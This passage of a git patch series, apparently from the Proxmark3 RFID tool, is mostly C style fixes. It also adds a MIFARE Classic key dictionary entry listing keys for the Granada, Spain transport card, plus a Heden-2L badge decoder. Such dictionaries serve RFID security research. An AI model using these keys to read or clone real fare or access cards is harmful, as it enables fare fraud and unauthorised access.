*/ + BMP_C(0x89ec0000) << (BMP_BIT - 32), /* 108 -- 16, 89ec */ + BMP_C(0x8a000000) << (BMP_BIT - 32), /* 109 -- 7, 45 */ + BMP_C(0x8b320000) << (BMP_BIT - 32), /* 110 -- 15, 4599 */ + BMP_C(0x8bb70000) << (BMP_BIT - 32), /* 111 -- 16, 8bb7 */ + BMP_C(0x8cc00000) << (BMP_BIT - 32), /* 112 -- 10, 233 */ + BMP_C(0x904cddbf) << (BMP_BIT - 32), /* 113 -- 32,904cddbf */ + BMP_C(0x906e0000) << (BMP_BIT - 32), /* 114 -- 16, 906e */ + BMP_C(0x94000000) << (BMP_BIT - 32), /* 115 -- 8, 94 */ + BMP_C(0x97000000) << (BMP_BIT - 32), /* 116 -- 8, 97 */ + BMP_C(0x98000000) << (BMP_BIT - 32), /* 117 -- 6, 26 */ + BMP_C(0x99000000) << (BMP_BIT - 32), /* 118 -- 8, 99 */ + BMP_C(0x9b000000) << (BMP_BIT - 32), /* 119 -- 8, 9b */ + BMP_C(0x9c000000) << (BMP_BIT - 32), /* 120 -- 6, 27 */ + BMP_C(0x9d5e4de2) << (BMP_BIT - 32), /* 121 -- 31,4eaf26f1 */ + BMP_C(0x9e000000) << (BMP_BIT - 32), /* 122 -- 7, 4f */ + BMP_C(0x9ecf0000) << (BMP_BIT - 32), /* 123 -- 16, 9ecf */ + BMP_C(0xa0660000) << (BMP_BIT - 32), /* 124 -- 16, a066 */ + BMP_C(0xa0970000) << (BMP_BIT - 32), /* 125 -- 16, a097 */ + BMP_C(0xa1000000) << (BMP_BIT - 32), /* 126 -- 8, a1 */ + BMP_C(0xa3660000) << (BMP_BIT - 32), /* 127 -- 16, a366 */ + BMP_C(0xa6000000) << (BMP_BIT - 32), /* 128 -- 7, 53 */ + BMP_C(0xa7000000) << (BMP_BIT - 32), /* 129 -- 8, a7 */ + BMP_C(0xa8000000) << (BMP_BIT - 32), /* 130 -- 5, 15 */ + BMP_C(0xa8190000) << (BMP_BIT - 32), /* 131 -- 16, a819 */ + BMP_C(0xa833982b) << (BMP_BIT - 32), /* 132 -- 32,a833982b */ + BMP_C(0xabcdef00) << (BMP_BIT - 32), /* 133 -- 24, abcdef */ + BMP_C(0xac000000) << (BMP_BIT - 32), /* 134 -- 8, ac */ + BMP_C(0xaee70000) << (BMP_BIT - 32), /* 135 -- 16, aee7 */ + BMP_C(0xb0000000) << (BMP_BIT - 32), /* 136 -- 4, b */ + BMP_C(0xb0010000) << (BMP_BIT - 32), /* 137 -- 16, b001 */ + BMP_C(0xb2aa0000) << (BMP_BIT - 32), /* 138 -- 16, b2aa */ + BMP_C(0xb3400000) << (BMP_BIT - 32), /* 139 -- 12, b34 */ + BMP_C(0xb42d8000) << (BMP_BIT - 32), /* 140 -- 17, 1685b */ + BMP_C(0xb4600000) << (BMP_BIT - 32), /* 141 -- 11, 5a3 */ + BMP_C(0xb4c80000) << (BMP_BIT - 32), /* 142 -- 16, b4c8 */ + BMP_C(0xb4f3e600) << (BMP_BIT - 32), /* 143 -- 24, b4f3e6 */ + BMP_C(0xb704ce00) << (BMP_BIT - 32), /* 144 -- 24, b704ce */ + BMP_C(0xb798b438) << (BMP_BIT - 32), /* 145 -- 32,b798b438 */ + BMP_C(0xbb3d0000) << (BMP_BIT - 32), /* 146 -- 16, bb3d */ + BMP_C(0xbc000000) << (BMP_BIT - 32), /* 147 -- 6,2f/ 8,bc */ + BMP_C(0xbd0be338) << (BMP_BIT - 32), /* 148 -- 32,bd0be338 */ + BMP_C(0xbdf40000) << (BMP_BIT - 32), /* 149 -- 16, bdf4 */ + BMP_C(0xbf050000) << (BMP_BIT - 32), /* 150 -- 16, bf05 */ + BMP_C(0xc0000000) << (BMP_BIT - 32), /* 151 -- 3, 6 */ + BMP_C(0xc2000000) << (BMP_BIT - 32), /* 152 -- 7, 61 */ + BMP_C(0xc25a5600) << (BMP_BIT - 32), /* 153 -- 24, c25a56 */ + BMP_C(0xc2b70000) << (BMP_BIT - 32), /* 154 -- 16, c2b7 */ + BMP_C(0xc2b80000) << (BMP_BIT - 32), /* 155 -- 14, 30ae */ + BMP_C(0xc4000000) << (BMP_BIT - 32), /* 156 -- 8, c4 */ + BMP_C(0xc6c60000) << (BMP_BIT - 32), /* 157 -- 16, c6c6 */ + BMP_C(0xc7000000) << (BMP_BIT - 32), /* 158 -- 8, c7 */ + BMP_C(0xc704dd7b) << (BMP_BIT - 32), /* 159 -- 32,c704dd7b */ + BMP_C(0xc8000000) << (BMP_BIT - 32), /* 160 -- 5, 19 */ + BMP_C(0xc8670000) << (BMP_BIT - 32), /* 161 -- 16, c867 */ + BMP_C(0xcbf43926) << (BMP_BIT - 32), /* 162 -- 32,cbf43926 */ + BMP_C(0xcde70300) << (BMP_BIT - 32), /* 163 -- 24, cde703 */ + BMP_C(0xce3c0000) << (BMP_BIT - 32), /* 164 -- 16, ce3c */ + BMP_C(0xd0000000) << (BMP_BIT - 32), /* 165 -- 8, d0 */ + BMP_C(0xd02a0000) << (BMP_BIT - 32), /* 166 -- 15, 6815 */ + BMP_C(0xd0db0000) << (BMP_BIT - 32), /* 167 -- 16, d0db */ + BMP_C(0xd3100000) << (BMP_BIT - 32), /* 168 -- 12, d31 */ + BMP_C(0xd3be9568) << (BMP_BIT - 32), /* 169 -- 30,34efa55a */ + BMP_C(0xd4d00000) << (BMP_BIT - 32), /* 170 -- 12, d4d */ + BMP_C(0xd5000000) << (BMP_BIT - 32), /* 171 -- 8, d5 */ + BMP_C(0xd64e0000) << (BMP_BIT - 32), /* 172 -- 16, d64e */ + BMP_C(0xda000000) << (BMP_BIT - 32), /* 173 -- 8, da */ + BMP_C(0xdaf00000) << (BMP_BIT - 32), /* 174 -- 12, daf */ + BMP_C(0xdebb20e3) << (BMP_BIT - 32), /* 175 -- 32,debb20e3 */ + BMP_C(0xdf000000) << (BMP_BIT - 32), /* 176 -- 8, df */ + BMP_C(0xe0000000) << (BMP_BIT - 32), /* 177 -- 3, 7 */ + BMP_C(0xe3069283) << (BMP_BIT - 32), /* 178 -- 32,e3069283 */ + BMP_C(0xe3940000) << (BMP_BIT - 32), /* 179 -- 16, e394 */ + BMP_C(0xe5cc0000) << (BMP_BIT - 32), /* 180 -- 16, e5cc */ + BMP_C(0xe7a80000) << (BMP_BIT - 32), /* 181 -- 13, 1cf5 */ + BMP_C(0xe8000000) << (BMP_BIT - 32), /* 182 -- 6, 3a */ + BMP_C(0xea000000) << (BMP_BIT - 32), /* 183 -- 7, 75 */ + BMP_C(0xea820000) << (BMP_BIT - 32), /* 184 -- 16, ea82 */ + BMP_C(0xec000000) << (BMP_BIT - 32), /* 185 -- 6, 3b */ + BMP_C(0xf0000000) << (BMP_BIT - 32), /* 186 -- 4, f */ + BMP_C(0xf0b80000) << (BMP_BIT - 32), /* 187 -- 16, f0b8 */ + BMP_C(0xf1300000) << (BMP_BIT - 32), /* 188 -- 12, f13 */ + BMP_C(0xf4000000) << (BMP_BIT - 32), /* 189 -- 8, f4 */ + BMP_C(0xf4acfb13) << (BMP_BIT - 32), /* 190 -- 32,f4acfb13 */ + BMP_C(0xf5b00000) << (BMP_BIT - 32), /* 191 -- 12, f5b */ + BMP_C(0xf6400000) << (BMP_BIT - 32), /* 192 -- 10, 3d9 */ + BMP_C(0xf7000000) << (BMP_BIT - 32), /* 193 -- 8, f7 */ + BMP_C(0xf8000000) << (BMP_BIT - 32), /* 194 -- 5, 1f */ + BMP_C(0xfc000000) << (BMP_BIT - 32), /* 195 -- 6, 3f */ + BMP_C(0xfc891918) << (BMP_BIT - 32), /* 196 -- 32,fc891918 */ + BMP_C(0xfd000000) << (BMP_BIT - 32), /* 197 -- 8, fd */ + BMP_C(0xfe000000) << (BMP_BIT - 32), /* 198 -- 7, 7f */ + BMP_C(0xfedcba00) << (BMP_BIT - 32), /* 199 -- 24, fedcba */ + BMP_C(0xfee80000) << (BMP_BIT - 32), /* 200 -- 16, fee8 */ + BMP_C(0xff000000) << (BMP_BIT - 32), /* 201 -- 8, ff */ + BMP_C(0xffc00000) << (BMP_BIT - 32), /* 202 -- 10, 3ff */ + BMP_C(0xfff00000) << (BMP_BIT - 32), /* 203 -- 12, fff */ + BMP_C(0xfffc0000) << (BMP_BIT - 32), /* 204 -- 14, 3fff */ + BMP_C(0xffff0000) << (BMP_BIT - 32), /* 205 -- 16, ffff */ + BMP_C(0xffffff00) << (BMP_BIT - 32), /* 206 -- 24, ffffff */ + BMP_C(0xfffffffc) << (BMP_BIT - 32), /* 207 -- 30,3fffffff */ + BMP_C(0xfffffffe) << (BMP_BIT - 32), /* 208 -- 31,7fffffff */ + BMP_C(0xffffffff) << (BMP_BIT - 32), /* 209 -- 32,ffffffff */ }; static const struct malias aliases[]; diff --git a/common/mbedtls/camellia.c b/common/mbedtls/camellia.c index c0597d8fa..bb4169ab4 100644 --- a/common/mbedtls/camellia.c +++ b/common/mbedtls/camellia.c @@ -217,16 +217,16 @@ static const signed char indexes[2][4][20] = { }, /* KL -> RK */ { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, - -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 - }, /* KR -> RK */ + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 + }, /* KR -> RK */ { 4, 5, 6, 7, 12, 13, 14, 15, 16, 17, 18, 19, -1, 24, 25, -1, 31, 28, 29, 30 }, /* KA -> RK */ { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, - -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 - } /* KB -> RK */ + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 + } /* KB -> RK */ }, { { @@ -235,12 +235,12 @@ static const signed char indexes[2][4][20] = { }, /* KL -> RK */ { -1, -1, -1, -1, 8, 9, 10, 11, 16, 17, - 18, 19, -1, -1, -1, -1, 39, 36, 37, 38 - }, /* KR -> RK */ + 18, 19, -1, -1, -1, -1, 39, 36, 37, 38 + }, /* KR -> RK */ { -1, -1, -1, -1, 12, 13, 14, 15, 58, 59, - 56, 57, 31, 28, 29, 30, -1, -1, -1, -1 - }, /* KA -> RK */ + 56, 57, 31, 28, 29, 30, -1, -1, -1, -1 + }, /* KA -> RK */ { 4, 5, 6, 7, 65, 66, 67, 64, 20, 21, 22, 23, -1, -1, -1, -1, 43, 40, 41, 42 diff --git a/common/zlib/inflate.c b/common/zlib/inflate.c index adbe00146..753671080 100644 --- a/common/zlib/inflate.c +++ b/common/zlib/inflate.c @@ -1060,7 +1060,7 @@ int flush; last = here; for (;;) { here = state->lencode[last.val + - (BITS(last.bits + last.op) >> last.bits)]; + (BITS(last.bits + last.op) >> last.bits)]; if ((unsigned)(last.bits + here.bits) <= bits) break; PULLBYTE(); } @@ -1110,7 +1110,7 @@ int flush; last = here; for (;;) { here = state->distcode[last.val + - (BITS(last.bits + last.op) >> last.bits)]; + (BITS(last.bits + last.op) >> last.bits)]; if ((unsigned)(last.bits + here.bits) <= bits) break; PULLBYTE(); } From 2a0d1557e1e9ef3aca759aa26b886a82014a10d4 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 7 Jan 2020 22:18:27 +0100 Subject: [PATCH 266/418] style --- client/cmdparser.c | 6 +++--- client/emv/crypto_polarssl.c | 2 +- client/fileutils.c | 12 ++++++------ common/generator.c | 6 +++--- 4 files changed, 13 insertions(+), 13 deletions(-) diff --git a/client/cmdparser.c b/client/cmdparser.c index 3f9412374..fca6fb772 100644 --- a/client/cmdparser.c +++ b/client/cmdparser.c @@ -178,7 +178,7 @@ int CmdsParse(const command_t Commands[], const char *Cmd) { char cmd_name[128]; memset(cmd_name, 0, sizeof(cmd_name)); - int len = 0; + int len = 0; // %n == receives an integer of value equal to the number of chars read so far. // len = max 127 sscanf(Cmd, "%127s%n", cmd_name, &len); @@ -248,10 +248,10 @@ void dumpCommandsRecursive(const command_t cmds[], int markdown) { } while (cmds[i].Name) { - + if ((cmds[i].Name[0] == '-' || strlen(cmds[i].Name) == 0) && ++i) continue; if (cmds[i].Help[0] == '{' && ++i) continue; - + const char *cmd_offline = "N"; if (cmds[i].IsAvailable()) diff --git a/client/emv/crypto_polarssl.c b/client/emv/crypto_polarssl.c index b0cb59baa..e258f1bbb 100644 --- a/client/emv/crypto_polarssl.c +++ b/client/emv/crypto_polarssl.c @@ -136,7 +136,7 @@ static struct crypto_pk *crypto_pk_polarssl_open_priv_rsa(va_list vl) { mbedtls_mpi_read_binary(&cp->ctx.Q, (const unsigned char *)q, qlen); mbedtls_mpi_read_binary(&cp->ctx.DP, (const unsigned char *)dp, dplen); mbedtls_mpi_read_binary(&cp->ctx.DQ, (const unsigned char *)dq, dqlen); - + int res = mbedtls_mpi_inv_mod(&cp->ctx.QP, &cp->ctx.Q, &cp->ctx.P); if (res != 0) { fprintf(stderr, "PolarSSL private key error res=%x exp=%d mod=%d.\n", res * -1, explen, modlen); diff --git a/client/fileutils.c b/client/fileutils.c index 17b3da4bf..4847d52b8 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -204,7 +204,7 @@ int saveFileEML(const char *preferredName, uint8_t *data, size_t datalen, size_t } fflush(f); fclose(f); - PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%" PRId32 )" blocks to text file " _YELLOW_("%s"), blocks, fileName); + PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%" PRId32)" blocks to text file " _YELLOW_("%s"), blocks, fileName); out: free(fileName); @@ -618,7 +618,7 @@ int loadFile_safe(const char *preferredName, const char *suffix, void **pdata, s int loadFileEML(const char *preferredName, void *data, size_t *datalen) { if (data == NULL) return PM3_EINVARG; - + char *fileName = filenamemcopy(preferredName, ".eml"); if (fileName == NULL) return PM3_EMALLOC; @@ -637,7 +637,7 @@ int loadFileEML(const char *preferredName, void *data, size_t *datalen) { memset(line, 0, sizeof(line)); uint8_t buf[64] = {0x00}; - uint8_t *udata = (uint8_t*)data; + uint8_t *udata = (uint8_t *)data; while (!feof(f)) { @@ -861,15 +861,15 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale } if (startFilePosition) { - if (fseek(f, startFilePosition, SEEK_SET) < 0){ + if (fseek(f, startFilePosition, SEEK_SET) < 0) { fclose(f); retval = PM3_EFILE; goto out; } } - uint8_t *udata = (uint8_t*)data; - + uint8_t *udata = (uint8_t *)data; + // read file while (!feof(f)) { size_t filepos = ftell(f); diff --git a/common/generator.c b/common/generator.c index f2bf33626..174657573 100644 --- a/common/generator.c +++ b/common/generator.c @@ -26,7 +26,7 @@ //------------------------------------ // MFU/NTAG PWD/PACK generation stuff -// Italian transport system +// Italian transport system // Amiibo // Lego Dimension // XYZ 3D printing @@ -225,9 +225,9 @@ int mfc_algo_mizip_one(uint8_t *uid, uint8_t sector, uint64_t *key) { } // returns all Mifare Mini (MFM) 10 keys. // keys must have 5*2*6 = 60bytes space -int mfc_algo_mizip_all(uint8_t *uid, uint8_t *keys) { +int mfc_algo_mizip_all(uint8_t *uid, uint8_t *keys) { if (keys == NULL) return PM3_EINVARG; - + uint64_t xor_tbl[] = { 0x09125a2589e5ULL, 0xF12C8453D821ULL, 0xAB75C937922FULL, 0x73E799FE3241ULL, From 68e41492ad0238b78dc773ea5ba4b52b579898e2 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 7 Jan 2020 22:19:28 +0100 Subject: [PATCH 267/418] style --- client/cmdhffelica.c | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/client/cmdhffelica.c b/client/cmdhffelica.c index 07a1ac18b..94f5c2ca4 100644 --- a/client/cmdhffelica.c +++ b/client/cmdhffelica.c @@ -440,10 +440,10 @@ static void clear_and_send_command(uint8_t flags, uint16_t datalen, uint8_t *dat */ static bool add_param(const char *Cmd, uint8_t paramCount, uint8_t *data, uint8_t dataPosition, uint8_t length) { if (param_getlength(Cmd, paramCount) == length) { - + if (param_gethex(Cmd, paramCount, data + dataPosition, length) == 1) - return false; - else + return false; + else return true; } else { @@ -460,7 +460,7 @@ static bool add_param(const char *Cmd, uint8_t paramCount, uint8_t *data, uint8_ static void print_rd_noEncrpytion_response(felica_read_without_encryption_response_t *rd_noCry_resp) { if (rd_noCry_resp->status_flags.status_flag1[0] == 00 && - rd_noCry_resp->status_flags.status_flag2[0] == 00) { + rd_noCry_resp->status_flags.status_flag2[0] == 00) { char *temp = sprint_hex(rd_noCry_resp->block_data, sizeof(rd_noCry_resp->block_data)); @@ -653,7 +653,7 @@ static int CmdHFFelicaAuthentication1(const char *Cmd) { mbedtls_des3_set3key_enc(&des3_ctx, master_key); PrintAndLogEx(INFO, "3DES Master Secret: %s", sprint_hex(master_key, 24)); } else if (param_getlength(Cmd, paramCount) == 32) { - + if (param_gethex(Cmd, paramCount, master_key, 32) == 1) { PrintAndLogEx(ERR, "Failed param key"); return PM3_EINVARG; @@ -781,7 +781,7 @@ static int CmdHFFelicaAuthentication2(const char *Cmd) { mbedtls_des3_init(&des3_ctx); unsigned char p3c[8]; if (param_getlength(Cmd, paramCount) == 32) { - + if (param_gethex(Cmd, paramCount, master_key, 32) == 1) { PrintAndLogEx(ERR, "Failed param key"); return PM3_EINVARG; @@ -1131,7 +1131,7 @@ static int CmdHFFelicaRequestSpecificationVersion(const char *Cmd) { } else { felica_request_spec_response_t spec_response; memcpy(&spec_response, (felica_request_spec_response_t *)resp.data.asBytes, sizeof(felica_request_spec_response_t)); - + if (spec_response.frame_response.IDm[0] != 0) { PrintAndLogEx(SUCCESS, "\nGot Request Response:"); PrintAndLogEx(SUCCESS, "\nIDm: %s", sprint_hex(spec_response.frame_response.IDm, sizeof(spec_response.frame_response.IDm))); @@ -1336,12 +1336,12 @@ static int CmdHFFelicaRequestService(const char *Cmd) { if (!all_nodes) { // Node Number if (param_getlength(Cmd, paramCount) == 2) { - + if (param_gethex(Cmd, paramCount++, data + 10, 2) == 1) { PrintAndLogEx(ERR, "Failed param key"); return PM3_EINVARG; } - + } else { PrintAndLogEx(ERR, "Incorrect Node number length!"); return PM3_EINVARG; @@ -1349,7 +1349,7 @@ static int CmdHFFelicaRequestService(const char *Cmd) { } if (param_getlength(Cmd, paramCount) == 4) { - + if (param_gethex(Cmd, paramCount++, data + 11, 4) == 1) { PrintAndLogEx(ERR, "Failed param key"); return PM3_EINVARG; @@ -1372,7 +1372,7 @@ static int CmdHFFelicaRequestService(const char *Cmd) { if (!custom_IDm && !check_last_idm(data, datalen)) { return PM3_EINVARG; } - + data[0] = int_to_hex(&datalen); data[1] = 0x02; // Service Request Command ID if (all_nodes) { @@ -1435,12 +1435,12 @@ static int CmdHFFelicaSniff(const char *Cmd) { } i++; } - + if (samples2skip == 0) { samples2skip = 10; PrintAndLogEx(INFO, "Set default samples2skip: %" PRIu64, samples2skip); } - + if (triggers2skip == 0) { triggers2skip = 5000; PrintAndLogEx(INFO, "Set default triggers2skip: %" PRIu64, triggers2skip); From 9662556ccbd4e2716ce32218a8c8b8a2931d5b9f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 7 Jan 2020 22:19:59 +0100 Subject: [PATCH 268/418] style --- armsrc/hitagS.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/armsrc/hitagS.c b/armsrc/hitagS.c index b44bffa45..836df6e82 100644 --- a/armsrc/hitagS.c +++ b/armsrc/hitagS.c @@ -1299,13 +1299,13 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { tag.pages[pageNum][i] = 0x0; for (i = 0; i < 4; i++) { // set page bytes from recieved bits tag.pages[pageNum][i] += ((pageData[i * 8] << 7) - | (pageData[1 + (i * 8)] << 6) - | (pageData[2 + (i * 8)] << 5) - | (pageData[3 + (i * 8)] << 4) - | (pageData[4 + (i * 8)] << 3) - | (pageData[5 + (i * 8)] << 2) - | (pageData[6 + (i * 8)] << 1) - | pageData[7 + (i * 8)]); + | (pageData[1 + (i * 8)] << 6) + | (pageData[2 + (i * 8)] << 5) + | (pageData[3 + (i * 8)] << 4) + | (pageData[4 + (i * 8)] << 3) + | (pageData[5 + (i * 8)] << 2) + | (pageData[6 + (i * 8)] << 1) + | pageData[7 + (i * 8)]); } if (tag.auth && tag.LKP && pageNum == 1) { Dbprintf("Page[%2d]: %02X %02X %02X %02X", pageNum, pwdh0, From 5799ca38e11b0b9f3809fbfbcb35365078fafca0 Mon Sep 17 00:00:00 2001 From: hamperfait <9727671+hamperfait@users.noreply.github.com> Date: Thu, 9 Jan 2020 08:00:58 +0100 Subject: [PATCH 269/418] Update mfc_default_keys.dic Added Granada, ES transport Card keys --- client/dictionaries/mfc_default_keys.dic | 36 +++++++++++++++++++++++- 1 file changed, 35 insertions(+), 1 deletion(-) diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index dda7a5126..15aa66993 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -1041,4 +1041,38 @@ bb2c0007d022 # Hotel Berlin Classic room B KEY b62307b62307 # a2a3cca2a3cc - +# +# Granada, ES Transport Card +000000270000 +0172066b2f03 +0172066b2f33 +066b2f230172 +0b0172066b2f +0f385ffb6529 +172066b2f2f0 +2066b2f27017 +29173860fc76 +2f130172066b +2fca8492f386 +385efa542907 +3864fcba5937 +3b0172066b2f +3f3865fccb69 +5c8ff9990da2 +6291b3860fc8 +63fca9492f38 +66b2f1f01720 +6b2f1b017206 +70172066b2f0 +70172066b2f3 +72066b2f2b01 +863fcb959373 +87291f3861fc +913385ffb752 +b2f170172066 +b385efa64290 +c9739233861f +f0f0172066b2 +f3864fcca693 +f3f0172066b2 +fc9839273862 From 413af36dcc8c3f60fb6a742fdb97a6753357c46d Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 9 Jan 2020 11:45:53 +0100 Subject: [PATCH 270/418] Chg: 'lf indala demod' - added Heden-2L descramble\n ref: http://www.proxmark.org/forum/viewtopic.php?pid=37833#p37833 --- client/cmdlfindala.c | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/client/cmdlfindala.c b/client/cmdlfindala.c index 443435f88..4746fa3f3 100644 --- a/client/cmdlfindala.c +++ b/client/cmdlfindala.c @@ -68,6 +68,36 @@ static int usage_lf_indala_sim(void) { return PM3_SUCCESS; } +/* +static void encodeHeden2L(uint8_t *bits) { + +} +*/ +static void decodeHeden2L(uint8_t *bits) { + + uint32_t cardnumber = 0; + uint8_t offset = 31; + + if ( bits[offset + 8] ) cardnumber += 1; + if ( bits[offset + 10] ) cardnumber += 2; + if ( bits[offset + 14] ) cardnumber += 4; + if ( bits[offset + 15] ) cardnumber += 8; + if ( bits[offset + 12] ) cardnumber += 16; + if ( bits[offset + 28] ) cardnumber += 32; + if ( bits[offset + 3] ) cardnumber += 64; + if ( bits[offset + 11] ) cardnumber += 128; + if ( bits[offset + 19] ) cardnumber += 256; + if ( bits[offset + 26] ) cardnumber += 512; + if ( bits[offset + 17] ) cardnumber += 1024; + if ( bits[offset + 18] ) cardnumber += 2048; + if ( bits[offset + 20] ) cardnumber += 4096; + if ( bits[offset + 13] ) cardnumber += 8192; + if ( bits[offset + 7] ) cardnumber += 16384; + if ( bits[offset + 23] ) cardnumber += 32768; + + PrintAndLogEx(SUCCESS, "\tHeden-2L | %u", cardnumber); +} + // Indala 26 bit decode // by marshmellow, martinbeier // optional arguments - same as PSKDemod (clock & invert & maxerr) @@ -172,8 +202,11 @@ static int CmdIndalaDemod(const char *Cmd) { PrintAndLogEx(SUCCESS, "Possible de-scramble patterns"); PrintAndLogEx(SUCCESS, "\tPrinted | __%04d__ [0x%X]", p1, p1); PrintAndLogEx(SUCCESS, "\tInternal ID | %" PRIu64, foo); + decodeHeden2L(DemodBuffer); + PrintAndLogEx(SUCCESS, "Fmt 26 bit FC %u , CSN %u , checksum %1d%1d", fc, csn, checksum >> 1 & 0x01, checksum & 0x01); + } else { uint32_t uid3 = bytebits_to_byte(DemodBuffer + 64, 32); uint32_t uid4 = bytebits_to_byte(DemodBuffer + 96, 32); From 3b51d18f925217d7fd80bfc5d93a2c4c9ab458be Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 9 Jan 2020 12:59:29 +0100 Subject: [PATCH 271/418] textual --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6abb5e47b..9f3f908e3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Change `lf indala demod` - added @randomdude42's decode Heden 2L/Hedengren format (@iceman) Thanks to @randomdude42 - Add `commands.md` - document with all proxmark client commands. Generated with XX_internal_command_dump_markdown_XX. (@iceman1001) - Change `lf pac clone` - new option `c ` to allow cloning PAC/Stanley tag from card ID (@danshuk) - Change `lf pac read` - decoded PAC/Stanley card ID (@danshuk) From 68eb66052a9dc2e22412ac5b35b880e6fc4cd52a Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 9 Jan 2020 14:26:52 +0100 Subject: [PATCH 272/418] cliparser updates --- client/cliparser/argtable3.c | 50 +++++++++++++++--------------------- 1 file changed, 20 insertions(+), 30 deletions(-) diff --git a/client/cliparser/argtable3.c b/client/cliparser/argtable3.c index b6284fd07..a5fb7a023 100644 --- a/client/cliparser/argtable3.c +++ b/client/cliparser/argtable3.c @@ -3421,7 +3421,7 @@ TRexBool trex_searchrange(TRex *exp, const TRexChar *text_begin, const TRexChar if (!cur) break; node = exp->_nodes[node].next; - } + } text_begin++; } while (cur == NULL && text_begin != text_end); @@ -3484,8 +3484,12 @@ TRexBool trex_getsubexp(TRex *exp, int n, TRexMatch *subexp) { static void arg_str_resetfn(struct arg_str *parent) { + int i; ARG_TRACE(("%s:resetfn(%p)\n", __FILE__, parent)); parent->count = 0; + for (i = 0; i < parent->count; i++) { + parent->sval[i] = ""; + } } @@ -3671,8 +3675,7 @@ void arg_register_error(struct arg_end *end, * Return index of first table entry with a matching short option * or -1 if no match was found. */ -static -int find_shortoption(struct arg_hdr * *table, char shortopt) { +static int find_shortoption(struct arg_hdr** table, char shortopt) { int tabindex; for (tabindex = 0; !(table[tabindex]->flag & ARG_TERMINATOR); tabindex++) { if (table[tabindex]->shortopts && @@ -3682,7 +3685,6 @@ int find_shortoption(struct arg_hdr * *table, char shortopt) { return -1; } - struct longoptions { int getoptval; int noptions; @@ -3706,8 +3708,7 @@ void dump_longoptions(struct longoptions *longoptions) { } #endif -static -struct longoptions *alloc_longoptions(struct arg_hdr * *table) { +static struct longoptions* alloc_longoptions(struct arg_hdr** table) { struct longoptions *result; size_t nbytes; int noptions = 1; @@ -3789,8 +3790,7 @@ struct longoptions *alloc_longoptions(struct arg_hdr * *table) { return result; } -static -char *alloc_shortoptions(struct arg_hdr * *table) { +static char* alloc_shortoptions(struct arg_hdr** table) { char *result; size_t len = 2; int tabindex; @@ -3830,8 +3830,7 @@ char *alloc_shortoptions(struct arg_hdr * *table) { /* return index of the table terminator entry */ -static -int arg_endindex(struct arg_hdr * *table) { +static int arg_endindex(struct arg_hdr** table) { int tabindex = 0; while (!(table[tabindex]->flag & ARG_TERMINATOR)) tabindex++; @@ -3839,10 +3838,9 @@ int arg_endindex(struct arg_hdr * *table) { } -static -void arg_parse_tagged(int argc, - char * *argv, - struct arg_hdr * *table, +static void arg_parse_tagged(int argc, + char **argv, + struct arg_hdr **table, struct arg_end *endtable) { struct longoptions *longoptions; char *shortoptions; @@ -3953,10 +3951,9 @@ void arg_parse_tagged(int argc, } -static -void arg_parse_untagged(int argc, - char * *argv, - struct arg_hdr * *table, +static void arg_parse_untagged(int argc, + char **argv, + struct arg_hdr **table, struct arg_end *endtable) { int tabindex = 0; int errorlast = 0; @@ -4010,7 +4007,6 @@ void arg_parse_untagged(int argc, optarglast = argv[optind]; parentlast = parent; } - } /* if a tenative error still remains at this point then register it as a proper error */ @@ -4030,8 +4026,7 @@ void arg_parse_untagged(int argc, } -static -void arg_parse_check(struct arg_hdr * *table, struct arg_end *endtable) { +static void arg_parse_check(struct arg_hdr **table, struct arg_end *endtable) { int tabindex = 0; /* printf("arg_parse_check()\n"); */ do { @@ -4045,8 +4040,7 @@ void arg_parse_check(struct arg_hdr * *table, struct arg_end *endtable) { } -static -void arg_reset(void * *argtable) { +static void arg_reset(void **argtable) { struct arg_hdr * *table = (struct arg_hdr * *)argtable; int tabindex = 0; /*printf("arg_reset(%p)\n",argtable);*/ @@ -4138,8 +4132,7 @@ int arg_parse(int argc, char * *argv, void * *argtable) { * dest[] == "goodbye cruel world!" * ndest == 10 */ -static -void arg_cat(char * *pdest, const char *src, size_t *pndest) { +static void arg_cat(char **pdest, const char *src, size_t *pndest) { char *dest = *pdest; char *end = dest + *pndest; @@ -4160,8 +4153,7 @@ void arg_cat(char * *pdest, const char *src, size_t *pndest) { } -static -void arg_cat_option(char *dest, +static void arg_cat_option(char *dest, size_t ndest, const char *shortopts, const char *longopts, @@ -4219,8 +4211,7 @@ void arg_cat_option(char *dest, } } -static -void arg_cat_optionv(char *dest, +static void arg_cat_optionv(char *dest, size_t ndest, const char *shortopts, const char *longopts, @@ -4666,7 +4657,6 @@ int arg_nullcheck(void * *argtable) { return 0; } - /* * arg_free() is deprecated in favour of arg_freetable() due to a flaw in its design. * The flaw results in memory leak in the (very rare) case that an intermediate From 76fa7efe72cac094555426eaa026caf4eb6d98e1 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 9 Jan 2020 19:25:34 +0100 Subject: [PATCH 273/418] Chg: 'lf indala clone' - new param '-c' for 